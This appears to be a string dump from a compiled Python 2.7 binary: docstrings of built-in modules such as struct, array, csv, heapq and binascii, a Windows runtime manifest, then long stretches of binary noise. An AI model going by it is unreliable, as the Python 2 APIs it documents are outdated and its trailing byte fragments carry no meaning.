hex(arg) -- Returns the hexadecimal representation of an integer.
map(func, *iterables) -- Returns an iterator that computes the function 
    using arguments from each of the iterables.
oct(arg) -- Returns the octal representation of an integer.
zip(iter1 [,iter2 [...]]) -- Returns a zip object whose .next() method 
    returns a tuple where the i-th element comes from the i-th iterable 
    argument.
The typical usage of this module is to replace existing builtins in a
module's namespace:
from future_builtins import ascii, filter, map, hex, oct, zip
hex(number) -> string
Return the hexadecimal representation of an integer or long integer.
_iterencode(obj, _current_indent_level) -> iterable
oct(number) -> string
Return the octal representation of an integer or long integer.
ascii(object) -> string
Return the same as repr().  In Python 3.x, the repr() result will
contain printable characters unescaped, while the ascii() result
will have such characters backslash-escaped.
This module makes available standard errno system symbols.
The value of each symbol is the corresponding integer value,
e.g., on most systems, errno.ENOENT equals the integer 2.
The dictionary errno.errorcode maps numeric codes to symbol names,
e.g., errno.errorcode[2] could be the string 'ENOENT'.
Symbols that are not relevant to the underlying system are not defined.
To map error codes to error messages, use the function os.strerror(),
e.g. os.strerror(2) could return 'No such file or directory'.
addinfo(key, value)
Insert an ADD_INFO record into the log.
Difference between two datetime values.
Transform list into a heap, in-place, in O(len(heap)) time.
date(year, month, day) --> date object
Tools that operate on functions.
Abstract base class for time zone info objects.
time([hour[, minute[, second[, microsecond[, tzinfo]]]]]) --> a time object
All arguments are optional. tzinfo may be None, or an instance of
a tzinfo subclass. The remaining arguments may be ints or longs.
datetime(year, month, day[, hour[, minute[, second[, microsecond[,tzinfo]]]]])
The year, month and day arguments are required. tzinfo may be None, or an
instance of a tzinfo subclass. The remaining arguments may be ints or longs.
A simple fast partial StringIO replacement.
This module provides a simple useful replacement for
the StringIO module that is written in C.  It does not provide the
full generality of StringIO, but it provides enough for most
applications and is especially useful in conjunction with the
pickle module.
Usage:
  from cStringIO import StringIO
  an_output_stream=StringIO()
  an_output_stream.write(some_stuff)
  value=an_output_stream.getvalue()
  an_input_stream=StringIO(a_string)
  spam=an_input_stream.readline()
  spam=an_input_stream.read(5)
  an_input_stream.seek(0)           # OK, start over
  spam=an_input_stream.read()       # and read it all
If someone else wants to provide a more complete implementation,
go for it. :-)  
cStringIO.c,v 1.29 1999/06/15 14:10:27 jim Exp
flush(): does nothing.
getvalue([use_pos]) -- Get the string value.
If use_pos is specified and is a true value, then the string returned
will include only the text up to the current file position.
readlines() -- Read all lines
truncate(): truncate the file at the current position.
seek(position)       -- set the current position
seek(position, mode) -- mode 0: absolute; 1: relative; 2: relative to EOF
write(s) -- Write a string to the file
Note (hack:) writing None resets the buffer
writelines(sequence_of_strings) -> None.  Write the strings to the file.
Note that newlines are not added.  The sequence can be any iterable object
producing strings. This is equivalent to calling write() for each string.
Simple type for treating strings as input file streams
StringIO([s]) -- Return a StringIO-like stream for reading or writing
C implementation and optimization of the Python pickle module.
acos(x)
Return the arc cosine of x.
acosh(x)
Return the inverse hyperbolic cosine of x.
atan(x)
Return the arc tangent of x.
atanh(x)
Return the inverse hyperbolic tangent of x.
cos(x)
Return the cosine of x.
log10(x)
Return the base-10 logarithm of x.
sin(x)
Return the sine of x.
sqrt(x)
Return the square root of x.
tanh(x)
Return the hyperbolic tangent of x.
log(x[, base]) -> the logarithm of x to the given base.
If the base not specified, returns the natural logarithm (base e) of x.
phase(z) -> float
Return argument, also known as the phase angle, of a complex.
polar(z) -> r: float, phi: float
Convert a complex from rectangular coordinates to polar coordinates. r is
the distance from 0 and phi the phase angle.
rect(r, phi) -> z: complex
Convert from polar coordinates to rectangular coordinates.
isnan(z) -> bool
Checks if the real or imaginary part of z not a number (NaN)
isinf(z) -> bool
Checks if the real or imaginary part of z is infinite.
This module is always available. It provides access to mathematical
functions for complex numbers.
}}}}}}}}}}~}}~}}}}}}}}}}}}}}}}}}}
 !"#$}%&'()*+},-./}}}}0123456}789:;<}}=>?}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}!"#$%&'()*+,-012345689@ABCDEFGHIJKLMNPQRSTUVXYZ[`abcdefhijklmpqr
?456789:;<=
 !"#$%&'()*+,-./0123
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
P%@Fpg`
ftGd$T
uJTZ7j
n6~UNt^
(ascii) -> bin. Decode a line of uuencoded data
(bin) -> ascii. Uuencode line of data
(ascii) -> bin. Decode a line of base64 data
ascii -> bin, done. Decode .hqx coding
Decode hexbin RLE-coded string
(data, oldcrc) -> newcrc. Compute hqx CRC incrementally
Qkkbal
-b2a_hex(data) -> s; Hexadecimal representation of binary data.
This function is also available as "hexlify()".
a2b_hex(hexstr) -> s; Binary data of hexadecimal representation.
hexstr must contain an even number of hex digits (upper or lower case).
This function is also available as "unhexlify()"
b2a_qp(data, quotetabs=0, istext=1, header=0) -> s; 
 Encode a string using quoted-printable encoding. 
On encoding, when istext is set, newlines are not encoded, and white 
space at end of lines is.  When istext is not set, \r and \n (CR/LF) are 
both encoded.  When quotetabs is set, space and tabs are encoded.
|}|y|u|q|m|i|e|a|]|Y|U|Q|M|I|E|A|>|<|:|8|6|4|2|0|.|,|*|(|&|$|"| 
index(x)
Return index of first occurrence of x in the array.
pop([i])
Return the i-th element and delete it from the array. i defaults to -1.
extend(array or iterable)
 Append items to the end of the array.
insert(i,x)
Insert a new item x into the array before position i.
buffer_info() -> (address, length)
Return a tuple (address, length) giving the current memory address and
the length in items of the buffer used to hold array's contents
The length should be multiplied by the itemsize attribute to calculate
the buffer length in bytes.
append(x)
Append new value x to the end of the array.
byteswap()
Byteswap all items of the array.  If the items in the array are not 1, 2,
4, or 8 bytes in size, RuntimeError is raised.
reverse()
Reverse the order of the items in the array.
fromfile(f, n)
Read n objects from the file object f and append them to the end of the
array.  Also called as read.
tofile(f)
Write all items (as machine values) to the file object f.  Also called as
write.
tolist() -> list
Convert array to an ordinary list with the same items.
fromstring(string)
Appends items from the string, interpreting it as an array of machine
values,as if it had been read from a file using the fromfile() method).
tostring() -> string
Convert the array to an array of machine values and return the string
representation.
fromunicode(ustr)
Extends this array with data from the unicode string ustr.
The array must be a type 'u' array; otherwise a ValueError
is raised.  Use array.fromstring(ustr.decode(...)) to
append Unicode data to an array of some other type.
tounicode() -> unicode
Convert the array to a unicode string.  The array must be
a type 'u' array; otherwise a ValueError is raised.  Use
array.tostring().decode() to obtain a unicode string from
an array of some other type.
Return state information for pickling.
This module defines an object type which can efficiently represent
an array of basic values: characters, integers, floating point
numbers.  Arrays are sequence types and behave very much like lists,
except that the type of objects stored in them is constrained.  The
type is specified at object creation time by using a type code, which
is a single character.  The following type codes are defined:
    Type code   C Type             Minimum size in bytes 
    'c'         character          1 
    'b'         signed integer     1 
    'B'         unsigned integer   1 
    'u'         Unicode character  2 
    'h'         signed integer     2 
    'H'         unsigned integer   2 
    'i'         signed integer     2 
    'I'         unsigned integer   2 
    'l'         signed integer     4 
    'L'         unsigned integer   4 
    'f'         floating point     4 
    'd'         floating point     8 
The constructor is:
array(typecode [, initializer]) -- create a new array
array(typecode [, initializer]) -> array
Return a new array whose items are restricted by typecode, and
initialized from the optional initializer value, which must be a list,
string or iterable over elements of the appropriate type.
Arrays represent basic values and behave very much like lists, except
the type of objects stored in them is constrained.
Methods:
append() -- append a new item to the end of the array
buffer_info() -- return information giving the current memory info
byteswap() -- byteswap all the items of the array
count() -- return number of occurrences of an object
extend() -- extend array by appending multiple elements from an iterable
fromfile() -- read items from a file object
fromlist() -- append items from the list
fromstring() -- append items from the string
index() -- return index of first occurrence of an object
insert() -- insert a new item into the array at a provided position
pop() -- remove and return item (default last)
read() -- DEPRECATED, use fromfile()
remove() -- remove first occurrence of an object
reverse() -- reverse the order of the items in the array
tofile() -- write all items to a file object
tolist() -- return the array converted to an ordinary list
tostring() -- return the array converted to a string
write() -- DEPRECATED, use tofile()
Attributes:
typecode -- the typecode character used to create the array
itemsize -- the length in bytes of one array item
getweakrefcount(object) -- return the number of weak references
to 'object'.
getweakrefs(object) -- return a list of all weak reference objects
that point to 'object'.
proxy(object[, callback]) -- create a proxy object that weakly
references 'object'.  'callback', if given, is called with a
reference to the proxy when 'object' is about to be finalized.
S.unpack(str) -> (v1, v2, ...)
Return tuple containing values unpacked according to this Struct's format.
Requires len(str) == self.size. See struct.__doc__ for more on format
strings.
S.unpack_from(buffer[, offset]) -> (v1, v2, ...)
Return tuple containing values unpacked according to this Struct's format.
Unlike unpack, unpack_from can unpack values from any object supporting
the buffer API, not just str. Requires len(buffer[offset:]) >= self.size.
See struct.__doc__ for more on format strings.
S.pack(v1, v2, ...) -> string
Return a string containing values v1, v2, ... packed according to this
Struct's format. See struct.__doc__ for more on format strings.
S.pack_into(buffer, offset, v1, v2, ...)
Pack the values v1, v2, ... according to this Struct's format, write 
the packed bytes into the writable buffer buf starting at offset.  Note
that the offset is not an optional argument.  See struct.__doc__ for 
more on format strings.
S.__sizeof__() -> size of S in memory, in bytes
Compiled struct object
Return size of C struct described by format string fmt.
Return string containing values v1, v2, ... packed according to fmt.
Pack the values v1, v2, ... according to fmt.
Write the packed bytes into the writable buffer buf starting at offset.
Unpack the string containing packed C structure data, according to fmt.
Requires len(string) == calcsize(fmt).
Unpack the buffer, containing packed C structure data, according to
fmt, starting at offset. Requires len(buffer[offset:]) >= calcsize(fmt).
Functions to convert between Python values and C structs represented
as Python strings. It uses format strings (explained below) as compact
descriptions of the lay-out of the C structs and the intended conversion
to/from Python values.
The optional first format char indicates byte order, size and alignment:
  @: native order, size & alignment (default)
  =: native order, std. size & alignment
  <: little-endian, std. size & alignment
  >: big-endian, std. size & alignment
  !: same as >
The remaining chars indicate types of args and must match exactly;
these can be preceded by a decimal repeat count:
  x: pad byte (no data); c:char; b:signed byte; B:unsigned byte;
  ?: _Bool (requires C99; if not available, char is used instead)
  h:short; H:unsigned short; i:int; I:unsigned int;
  l:long; L:unsigned long; f:float; d:double.
Special cases (preceding decimal count indicates length):
  s:string (array of char); p: pascal string (with count byte).
Special case (only available in native format):
  P:an integer type that is wide enough to hold a pointer.
Special case (not in native mode unless 'long long' in platform C):
  q:long long; Q:unsigned long long
Whitespace between formats is ignored.
The variable struct.error is an exception raised on errors.
 SRE 2.2.2 Copyright (c) 1997-2002 by Secret Labs AB 
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
match(string[, pos[, endpos]]) --> match object or None.
    Matches zero or more characters at the beginning of the string
search(string[, pos[, endpos]]) --> match object or None.
    Scan through string looking for a match, and return a corresponding
    match object instance. Return None if no position in the string matches.
split(string[, maxsplit = 0])  --> list.
    Split string by the occurrences of pattern.
findall(string[, pos[, endpos]]) --> list.
   Return a list of all non-overlapping matches of pattern in string.
finditer(string[, pos[, endpos]]) --> iterator.
    Return an iterator over all non-overlapping matches for the 
    RE pattern in string. For each match, the iterator returns a
    match object.
sub(repl, string[, count = 0]) --> newstring
    Return the string obtained by replacing the leftmost non-overlapping
    occurrences of pattern in string by the replacement repl.
subn(repl, string[, count = 0]) --> (newstring, number of subs)
    Return the tuple (new_string, number_of_subs_made) found by replacing
    the leftmost non-overlapping occurrences of pattern with the
    replacement repl.
The result of re.match() and re.search().
Match objects always have a boolean value of True.
group([group1, ...]) -> str or tuple.
    Return subgroup(s) of the match by indices or names.
    For 0 returns the entire match.
start([group=0]) -> int.
    Return index of the start of the substring matched by group.
end([group=0]) -> int.
    Return index of the end of the substring matched by group.
span([group]) -> tuple.
    For MatchObject m, return the 2-tuple (m.start(group), m.end(group)).
groups([default=None]) -> tuple.
    Return a tuple containing all the subgroups of the match, from 1.
    The default argument is used for groups
    that did not participate in the match
groupdict([default=None]) -> dict.
    Return a dictionary containing all the named subgroups of the match,
    keyed by the subgroup name. The default argument is used for groups
    that did not participate in the match
expand(template) -> str.
    Return the string obtained by doing backslash substitution
    on the string template, as done by the sub() method.
Random() -> create a random number generator with its own internal state.
Module implements the Mersenne Twister random number generator.
getstats() -> list of profiler_entry objects
Return all information collected by the profiler.
Each profiler_entry is a tuple-like object with the
following attributes:
    code          code object
    callcount     how many times this was called
    reccallcount  how many times called recursively
    totaltime     total time in this entry
    inlinetime    inline time in this entry (not in subcalls)
    calls         details of the calls
The calls attribute is either None or a list of
profiler_subentry objects:
    code          called code object
    callcount     how many times this is called
    reccallcount  how many times this is called recursively
    totaltime     total time spent in this call
    inlinetime    inline time (not in further subcalls)
enable(subcalls=True, builtins=True)
Start collecting profiling information.
If 'subcalls' is True, also records for each function
statistics separated according to its current caller.
If 'builtins' is True, records the time spent in
built-in functions separately from their caller.
Profiler(custom_timer=None, time_unit=None, subcalls=True, builtins=True)
    Builds a profiler object using the specified timer function.
    The default timer is a fast built-in one based on real time.
    For custom timer functions returning integers, time_unit can
    be a float specifying a scale (i.e. how long each integer unit
    is, in seconds).
(integer,string=None) -> string. Activates/queries locale processing.
() -> dict. Returns numeric and monetary locale-specific parameters.
string,string -> int. Compares two strings according to the locale.
string -> string. Returns a string that behaves for cmp locale-aware.
scanstring(basestring, end, encoding, strict=True) -> (str, end)
Scan the string s for a JSON string. End is the index of the
character in s after the quote that started the JSON string.
Unescapes all valid JSON string escape sequences and raises ValueError
on attempt to decode an invalid string. If strict is False then literal
control characters are allowed in the string.
Returns a tuple of the decoded string and the index of the character in s
after the end quote.
encode_basestring_ascii(basestring) -> str
Return an ASCII-only JSON representation of a Python string
json speedups
close()
Close the log file, preventing additional records from being read.
fileno() -> file descriptor
Returns the file descriptor for the log file, if open.
Raises ValueError if the log file is closed.
close()
Shut down this profiler and close the log files, even if its active.
runcall(callable[, args[, kw]]) -> callable()
Profile a specific function call, returning the result of that call.
runcode(code, globals[, locals])
Execute a code object while collecting profile data.  If locals is
omitted, globals is used for the locals as well.
start()
Install this profiler for the current thread.
stop()
Remove this profiler from the current thread.
High-performance profiler object.
Methods:
close():      Stop the profiler and close the log files.
fileno():     Returns the file descriptor of the log file.
runcall():    Run a single function call with profiling enabled.
runcode():    Execute a code object with profiling enabled.
start():      Install the profiler and return.
stop():       Remove the profiler.
Attributes (read-only):
closed:       True if the profiler has already been closed.
frametimings: True if ENTER/EXIT events collect timing information.
lineevents:   True if line events are reported to the profiler.
linetimings:  True if line events collect timing information.
logreader(filename) --> log-iterator
Create a log-reader for the timing information file.
profiler(logfilename[, lineevents[, linetimes]]) -> profiler
Create a new profiler object.
coverage(logfilename) -> profiler
Returns a profiler that doesn't collect any timing information, which is
useful in building a coverage analysis tool.
resolution() -> (performance-counter-ticks, update-frequency)
Return the resolution of the timer provided by the QueryPerformanceCounter()
function.  The first value is the smallest observed change, and the second
is the result of QueryPerformanceFrequency().
heappush(heap, item) -> None. Push item onto heap, maintaining the heap invariant.
Pop the smallest item off the heap, maintaining the heap invariant.
heapreplace(heap, item) -> value. Pop and return the current smallest value, and add the new item.
This is more efficient than heappop() followed by heappush(), and can be
more appropriate when using a fixed-size heap.  Note that the value
returned may be larger than item!  That constrains reasonable uses of
this routine unless written as part of a conditional replacement:
    if item > heap[0]:
        item = heapreplace(heap, item)
heappushpop(heap, item) -> value. Push item on the heap, then pop and return the smallest item
from the heap. The combined action runs more efficiently than
heappush() followed by a separate call to heappop().
Find the n largest elements in a dataset.
Equivalent to:  sorted(iterable, reverse=True)[:n]
Find the n smallest elements in a dataset.
Equivalent to:  sorted(iterable)[:n]
Heap queue algorithm (a.k.a. priority queue).
Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] for
all k, counting elements from 0.  For the sake of comparison,
non-existing elements are considered to be infinite.  The interesting
property of a heap is that a[0] is always its smallest element.
Usage:
heap = []            # creates an empty heap
heappush(heap, item) # pushes a new item on the heap
item = heappop(heap) # pops the smallest item from the heap
item = heap[0]       # smallest item on the heap without popping it
heapify(x)           # transforms list into a heap, in-place, in linear time
item = heapreplace(heap, item) # pops and returns smallest item, and adds
                               # new item; the heap size is unchanged
Our API differs from textbook heap algorithms as follows:
- We use 0-based indexing.  This makes the relationship between the
  index for a node and the indexes for its children slightly less
  obvious, but is more suitable since Python uses 0-based indexing.
- Our heappop() method returns the smallest item, not the largest.
These two make it possible to view the heap as a regular Python list
without surprises: heap[0] is the smallest item, and heap.sort()
maintains the heap invariant!
Heap queues
[explanation by Fran
ois Pinard]
Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] for
all k, counting elements from 0.  For the sake of comparison,
non-existing elements are considered to be infinite.  The interesting
property of a heap is that a[0] is always its smallest element.
The strange invariant above is meant to be an efficient memory
representation for a tournament.  The numbers below are `k', not a[k]:
                                   0
                  1                                 2
          3               4                5               6
      7       8       9       10      11      12      13      14
    15 16   17 18   19 20   21 22   23 24   25 26   27 28   29 30
In the tree above, each cell `k' is topping `2*k+1' and `2*k+2'.  In
an usual binary tournament we see in sports, each cell is the winner
over the two cells it tops, and we can trace the winner down the tree
to see all opponents s/he had.  However, in many computer applications
of such tournaments, we do not need to trace the history of a winner.
To be more memory efficient, when a winner is promoted, we try to
replace it by something else at a lower level, and the rule becomes
that a cell and the two cells it tops contain three different items,
but the top cell "wins" over the two topped cells.
If this heap invariant is protected at all time, index 0 is clearly
the overall winner.  The simplest algorithmic way to remove it and
find the "next" winner is to move some loser (let's say cell 30 in the
diagram above) into the 0 position, and then percolate this new 0 down
the tree, exchanging values, until the invariant is re-established.
This is clearly logarithmic on the total number of items in the tree.
By iterating over all items, you get an O(n ln n) sort.
A nice feature of this sort is that you can efficiently insert new
items while the sort is going on, provided that the inserted items are
not "better" than the last 0'th element you extracted.  This is
especially useful in simulation contexts, where the tree holds all
incoming events, and the "win" condition means the smallest scheduled
time.  When an event schedule other events for execution, they are
scheduled into the future, so they can easily go into the heap.  So, a
heap is a good structure for implementing schedulers (this is what I
used for my MIDI sequencer :-).
Various structures for implementing schedulers have been extensively
studied, and heaps are good for this, as they are reasonably speedy,
the speed is almost constant, and the worst case is not much different
than the average case.  However, there are other representations which
are more efficient overall, yet the worst cases might be terrible.
Heaps are also very useful in big disk sorts.  You most probably all
know that a big sort implies producing "runs" (which are pre-sorted
sequences, which size is usually related to the amount of CPU memory),
followed by a merging passes for these runs, which merging is often
very cleverly organised[1].  It is very important that the initial
sort produces the longest runs possible.  Tournaments are a good way
to that.  If, using all the memory available to hold a tournament, you
replace and percolate items that happen to fit the current run, you'll
produce runs which are twice the size of the memory for random input,
and much better for input fuzzily ordered.
Moreover, if you output the 0'th item on disk and get an input which
may not fit in the current tournament (because the value "wins" over
the last output value), it cannot fit in the heap, so the size of the
heap decreases.  The freed memory could be cleverly reused immediately
for progressively building a second heap, which grows at exactly the
same rate the first heap is melting.  When the first heap completely
vanishes, you switch heaps and start a new run.  Clever and quite
effective!
In a word, heaps are useful memory structures to know.  I use them in
a few applications, and I think it is good to keep a `heap' module
around. :-)
--------------------
[1] The disk balancing algorithms which are current, nowadays, are
more annoying than clever, and this is a consequence of the seeking
capabilities of the disks.  On devices which cannot seek, like big
tape drives, the story was quite different, and one had to be very
clever to ensure (far in advance) that each tape movement will be the
most effective possible (that is, will best participate at
"progressing" the merge).  Some tapes were even able to read
backwards, and this was also used to avoid the rewinding time.
Believe me, real good tape sorts were quite spectacular to watch!
From all times, sorting has always been a Great Art! :-)
reduce(function, sequence[, initial]) -> value
Apply a function of two arguments cumulatively to the items of a sequence,
from left to right, so as to reduce the sequence to a single value.
For example, reduce(lambda x, y: x+y, [1, 2, 3, 4, 5]) calculates
((((1+2)+3)+4)+5).  If initial is present, it is placed before the items
of the sequence in the calculation, and serves as a default when the
sequence is empty.
partial(func, *args, **keywords) - new function with partial application
    of the given arguments and keywords.
CSV dialect
The Dialect type records CSV parsing and generation options.
CSV reader
Reader objects are responsible for reading and parsing tabular data
in CSV format.
writerow(sequence)
Construct and write a CSV record from a sequence of fields.  Non-string
elements will be converted to string.
writerows(sequence of sequences)
Construct and write a series of sequences to a csv file.  Non-string
elements will be converted to string.
CSV writer
Writer objects are responsible for generating tabular data
in CSV format from sequence input.
CSV parsing and writing.
This module provides classes that assist in the reading and writing
of Comma Separated Value (CSV) files, and implements the interface
described by PEP 305.  Although many CSV files are simple to parse,
the format is not formally defined by a stable specification and
is subtle enough that parsing lines of a CSV file with something
like line.split(",") is bound to fail.  The module supports three
basic APIs: reading, writing, and registration of dialects.
DIALECT REGISTRATION:
Readers and writers support a dialect argument, which is a convenient
handle on a group of settings.  When the dialect argument is a string,
it identifies one of the dialects previously registered with the module.
If it is a class or instance, the attributes of the argument are used as
the settings for the reader or writer:
    class excel:
        delimiter = ','
        quotechar = '"'
        escapechar = None
        doublequote = True
        skipinitialspace = False
        lineterminator = '\r\n'
        quoting = QUOTE_MINIMAL
SETTINGS:
    * quotechar - specifies a one-character string to use as the 
        quoting character.  It defaults to '"'.
    * delimiter - specifies a one-character string to use as the 
        field separator.  It defaults to ','.
    * skipinitialspace - specifies how to interpret whitespace which
        immediately follows a delimiter.  It defaults to False, which
        means that whitespace immediately following a delimiter is part
        of the following field.
    * lineterminator -  specifies the character sequence which should 
        terminate rows.
    * quoting - controls when quotes should be generated by the writer.
        It can take on any of the following module constants:
        csv.QUOTE_MINIMAL means only when required, for example, when a
            field contains either the quotechar or the delimiter
        csv.QUOTE_ALL means that quotes are always placed around fields.
        csv.QUOTE_NONNUMERIC means that quotes are always placed around
            fields which do not parse as integers or floating point
            numbers.
        csv.QUOTE_NONE means that quotes are never placed around fields.
    * escapechar - specifies a one-character string used to escape 
        the delimiter when quoting is set to QUOTE_NONE.
    * doublequote - controls the handling of quotes inside fields.  When
        True, two consecutive quotes are interpreted as one during read,
        and when writing, each quote character embedded in the data is
        written as two quotes
    csv_reader = reader(iterable [, dialect='excel']
                        [optional keyword args])
    for row in csv_reader:
        process(row)
The "iterable" argument can be any object that returns a line
of input for each iteration, such as a file object or a list.  The
optional "dialect" parameter is discussed below.  The function
also accepts optional keyword arguments which override settings
provided by the dialect.
The returned object is an iterator.  Each iteration returns a row
of the CSV file (which can span multiple input lines).
    csv_writer = csv.writer(fileobj [, dialect='excel']
                            [optional keyword args])
    for row in sequence:
        csv_writer.writerow(row)
    [or]
    csv_writer = csv.writer(fileobj [, dialect='excel']
                            [optional keyword args])
    csv_writer.writerows(rows)
The "fileobj" argument can be any object that supports the file API.
Return a list of all know dialect names.
    names = csv.list_dialects()
Return the dialect instance associated with name.
    dialect = csv.get_dialect(name)
Create a mapping from a string name to a dialect class.
    dialect = csv.register_dialect(name, dialect)
Delete the name/dialect mapping associated with a string name.
    csv.unregister_dialect(name)
Sets an upper limit on parsed fields.
    csv.field_size_limit([limit])
Returns old limit. If limit is not given, no new limit is set and
the old limit is returned
Remove and return the rightmost element.
Remove and return the leftmost element.
Add an element to the right side of the deque.
Add an element to the left side of the deque.
Extend the right side of the deque with elements from the iterable
Extend the left side of the deque with elements from the iterable
Rotate the deque n steps to the right (default n=1).  If n is negative, rotates left.
D.reverse() -- reverse *IN PLACE*
D.count(value) -> integer -- return number of occurrences of value
D.remove(value) -- remove first occurrence of value.
Remove all elements from the deque.
Return a shallow copy of a deque.
Return state information for pickling.
D.__sizeof__() -- size of D in memory, in bytes
D.__reversed__() -- return a reverse iterator over the deque
deque([iterable[, maxlen]]) --> deque object
Build an ordered collection with optimized access from its endpoints.
Private method returning an estimate of len(list(it)).
__missing__(key) # Called by __getitem__ for missing key; pseudo-code:
  if self.default_factory is None: raise KeyError((key,))
  self[key] = value = self.default_factory()
  return value
D.copy() -> a shallow copy of D.
defaultdict(default_factory[, ...]) --> dict with default factory
The default factory is called without arguments to produce
a new value when a key is not present, in __getitem__ only.
A defaultdict compares equal to a dict with the same items.
All remaining arguments are treated the same as if they were
passed to the dict constructor, including keyword arguments.
High performance data structures.
- deque:        ordered collection accessible from endpoints only
- defaultdict:  dict subclass with a default value factory
register(search_function)
Register a codec search function. Search functions are expected to take
one argument, the encoding name in all lower case letters, and return
a tuple of functions (encoder, decoder, stream_reader, stream_writer)
(or a CodecInfo object).
lookup(encoding) -> CodecInfo
Looks up a codec tuple in the Python codec registry and returns
a CodecInfo object.
encode(obj, [encoding[,errors]]) -> object
Encodes obj using the codec registered for encoding. encoding defaults
to the default encoding. errors may be given to set a different error
handling scheme. Default is 'strict' meaning that encoding errors raise
a ValueError. Other possible values are 'ignore', 'replace' and
'xmlcharrefreplace' as well as any other name registered with
codecs.register_error that can handle ValueErrors.
decode(obj, [encoding[,errors]]) -> object
Decodes obj using the codec registered for encoding. encoding defaults
to the default encoding. errors may be given to set a different error
handling scheme. Default is 'strict' meaning that encoding errors raise
a ValueError. Other possible values are 'ignore' and 'replace'
as well as any other name registered with codecs.register_error that is
able to handle ValueErrors.
register_error(errors, handler)
Register the specified error handler under the name
errors. handler must be a callable object, that
will be called with an exception instance containing
information about the location of the encoding/decoding
error and must return a (replacement, new position) tuple.
lookup_error(errors) -> handler
Return the error handler for the specified error handling name
or raise a LookupError, if no handler exists under this name.
bisect(a, x[, lo[, hi]]) -> index
bisect_right(a, x[, lo[, hi]]) -> index
Return the index where to insert item x in list a, assuming a is sorted.
The return value i is such that all e in a[:i] have e <= x, and all e in
a[i:] have e > x.  So if x already appears in the list, i points just
beyond the rightmost x already there
Optional args lo (default 0) and hi (default len(a)) bound the
slice of a to be searched.
insort(a, x[, lo[, hi]])
insort_right(a, x[, lo[, hi]])
Insert item x in list a, and keep it sorted assuming a is sorted.
If x is already in a, insert it to the right of the rightmost x.
Optional args lo (default 0) and hi (default len(a)) bound the
slice of a to be searched.
bisect_left(a, x[, lo[, hi]]) -> index
Return the index where to insert item x in list a, assuming a is sorted.
The return value i is such that all e in a[:i] have e < x, and all e in
a[i:] have e >= x.  So if x already appears in the list, i points just
before the leftmost x already there.
Optional args lo (default 0) and hi (default len(a)) bound the
slice of a to be searched.
insort_left(a, x[, lo[, hi]])
Insert item x in list a, and keep it sorted assuming a is sorted.
If x is already in a, insert it to the left of the leftmost x.
Optional args lo (default 0) and hi (default len(a)) bound the
slice of a to be searched.
Bisection algorithms.
This module provides support for maintaining a list in sorted order without
having to sort the list after each insertion. For long lists of items with
expensive comparison operations, this can be an improvement over the more
common approach.
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity type="win32" name="Microsoft.VC90.CRT" version="9.0.21022.8" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"></assemblyIdentity>
    </dependentAssembly>
  </dependency>
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING
1'2C2H2l2q2
595>5\5
2:3?3c3h3
4A4K4R4
4C5U5[5d5
6%6+646
9H9T9Y9
: <5<<<E<
="=+=\=
1I1W1^1
1Z2f2l2n3s3
4!5&5x5
556J6j6
7D8f8l8
9)959C9L9R9h9
: :v:}:
<Z=`=t=x=|=
1$2e2{2
4'434[4u4
5&676K6Q6a6v6|6
7%7*7/7:7@7D7V7[7`7k7|7
8(8\8!9&9+9T9k9r9
9B:H:^:c:
:=;G;v;
=@>E>W>u>z>
011U1d1j1
3+404D4H4L4P4T4X4\4`4
=C=H=:>I>R>Y>
343r3w3
4'4S4X4v4
5(5<5C5f5k5p5
6T6a6f6u6
7=7R7W7`7h7
:1<6<v<{<
061X1]1
5 5=5R5X5`5l536G6d6
:;:J:P:m:
1&252;2J2v2
304T4s4
<%<V<u<
>1>6>Y>l>q>
0^1e1{1
4#4+464;4E4O4T4`4f4m4
7#7K7d7
8%8,8K8P8U8Z8_8
>2>7>N>
$0>0O0_0
1&1;1@1I1T1
2$2,2F2K2
6\6`6d6h6
7A7V7\7d7l7
8=9D9q9
:D;H;L;P;
?#?+?U?
2&3=3C3K3S3
7J7e7k7s7{7
8G9Z9`9r9
:8;B;G;
*0V0]0
0	101o1|1
3H3L3P3T3X3\3`3d3h3l3
3-4X4_4
5*5k5x5
687h7l7p7t7x7|7
9#9A9I9R9Z9d9
:+:C:[:
=2=U=j=p=x=
>+>6>=>F>S>_>d>
%0-03090C0g0
3 3G3L3s3y3
6V7x7}7
7!8&8J8P8\8u8
:2<7<=<N<T<l<q<v<
=3=H=N=W=_=
95:X:d:i:
:";O;|;
<%<\<|<
3?3f3|3
596M6f6k6~6
9r:w:|:
;/;5;C;W;];j;p;
<#<.<E<l<
<)=L=k=
=!>L>W>_>i>
>5?R?_?
1(121?2E2d2
5B5W5\5e5r5
7!7J7P7u7
91:I:P:b:g:l:
;>;Q;y;
= =$=(=,=0=4=8=<=@=D=H=L=P=T=X=\=`=
L0x0D2H2L2P2T2X2\2`2d2h2l2p2
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8
5 5$5(5,5054585<5
8&8@8F8
8"9'9a9f9
1"2'2B2
5'5,5G5
:1<i<n<
D0H0L0P0T0X0\0
5 5$5(5,5
7 8g8x8
8Q9V9_9
<&<;<A<J<X<
=N=S=*>/>z>
273[3w3
4+404f4
6A6F6Y6^6
7!8V8h8{8
9!9'9^9h9
<2<8<_<s<
081J1V1[1
8h9o9Q:c:o:v:
:5;<;A;G;P;X;\;`;d;
